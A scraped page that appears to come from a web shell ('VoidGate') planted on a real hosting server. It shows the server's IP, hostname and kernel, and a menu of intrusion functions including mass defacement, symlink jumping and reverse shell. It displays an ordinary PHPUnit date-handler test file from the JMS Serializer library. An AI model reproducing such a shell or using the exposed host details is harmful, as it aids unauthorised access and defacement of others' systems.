ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer
/
tests
/
Handler
/
Viewing: DateHandlerTest.php
<?php namespace JMS\Serializer\Tests\Handler; use JMS\Serializer\Handler\DateHandler; use JMS\Serializer\JsonDeserializationVisitor; use JMS\Serializer\SerializationContext; use JMS\Serializer\VisitorInterface; class DateHandlerTest extends \PHPUnit_Framework_TestCase { /** * @var DateHandler */ private $handler; /** * @var \DateTimeZone */ private $timezone; public function setUp() { $this->handler = new DateHandler(); $this->timezone = new \DateTimeZone('UTC'); } public function getParams() { return [ [['Y-m-d']], [['Y-m-d', '', 'Y-m-d|']], [['Y-m-d', '', 'Y']], ]; } /** * @dataProvider getParams * @param array $params */ public function testSerializeDate(array $params) { $context = $this->getMockBuilder(SerializationContext::class)->getMock(); $visitor = $this->getMockBuilder(VisitorInterface::class)->getMock(); $visitor->method('visitString')->with('2017-06-18'); $datetime = new \DateTime('2017-06-18 14:30:59', $this->timezone); $type = ['name' => 'DateTime', 'params' => $params]; $this->handler->serializeDateTime($visitor, $datetime, $type, $context); } public function testTimePartGetsRemoved() { $visitor = $this->getMockBuilder(JsonDeserializationVisitor::class) ->disableOriginalConstructor() ->getMock(); $type = ['name' => 'DateTime', 'params' => ['Y-m-d', '', 'Y-m-d|']]; $this->assertEquals( \DateTime::createFromFormat('Y-m-d|', '2017-06-18', $this->timezone), $this->handler->deserializeDateTimeFromJson($visitor, '2017-06-18', $type) ); } public function testTimePartGetsPreserved() { $visitor = $this->getMockBuilder(JsonDeserializationVisitor::class) ->disableOriginalConstructor() ->getMock(); $expectedDateTime = \DateTime::createFromFormat('Y-m-d', '2017-06-18', $this->timezone); // if the test is executed exactly at midnight, it might not detect a possible failure since the time component will be "00:00:00 // I know, this is a bit paranoid if ($expectedDateTime->format("H:i:s") === "00:00:00") { sleep(1); $expectedDateTime = \DateTime::createFromFormat('Y-m-d', '2017-06-18', $this->timezone); } // no custom deserialization format specified $type = ['name' => 'DateTime', 'params' => ['Y-m-d']]; $this->assertEquals( $expectedDateTime, $this->handler->deserializeDateTimeFromJson($visitor, '2017-06-18', $type) ); // custom deserialization format specified $type = ['name' => 'DateTime', 'params' => ['Y-m-d', '', 'Y-m-d']]; $this->assertEquals( $expectedDateTime, $this->handler->deserializeDateTimeFromJson($visitor, '2017-06-18', $type) ); } public function testTimeZoneGetsPreservedWithUnixTimestamp() { $visitor = $this->getMockBuilder(JsonDeserializationVisitor::class) ->disableOriginalConstructor() ->getMock(); $timestamp = time(); $timezone = 'Europe/Brussels'; $type = ['name' => 'DateTime', 'params' => ['U', $timezone]]; $expectedDateTime = \DateTime::createFromFormat('U', $timestamp); $expectedDateTime->setTimezone(new \DateTimeZone($timezone)); $actualDateTime = $this->handler->deserializeDateTimeFromJson($visitor, $timestamp, $type); $this->assertEquals( $expectedDateTime->format(\DateTime::RFC3339), $actualDateTime->format(\DateTime::RFC3339) ); } public function testImmutableTimeZoneGetsPreservedWithUnixTimestamp() { $visitor = $this->getMockBuilder(JsonDeserializationVisitor::class) ->disableOriginalConstructor() ->getMock(); $timestamp = time(); $timezone = 'Europe/Brussels'; $type = ['name' => 'DateTimeImmutable', 'params' => ['U', $timezone]]; $expectedDateTime = \DateTime::createFromFormat('U', $timestamp); $expectedDateTime->setTimezone(new \DateTimeZone($timezone)); $actualDateTime = $this->handler->deserializeDateTimeImmutableFromJson($visitor, $timestamp, $type); $this->assertEquals( $expectedDateTime->format(\DateTime::RFC3339), $actualDateTime->format(\DateTime::RFC3339) ); } }
Coded With 💗 by
0x6ick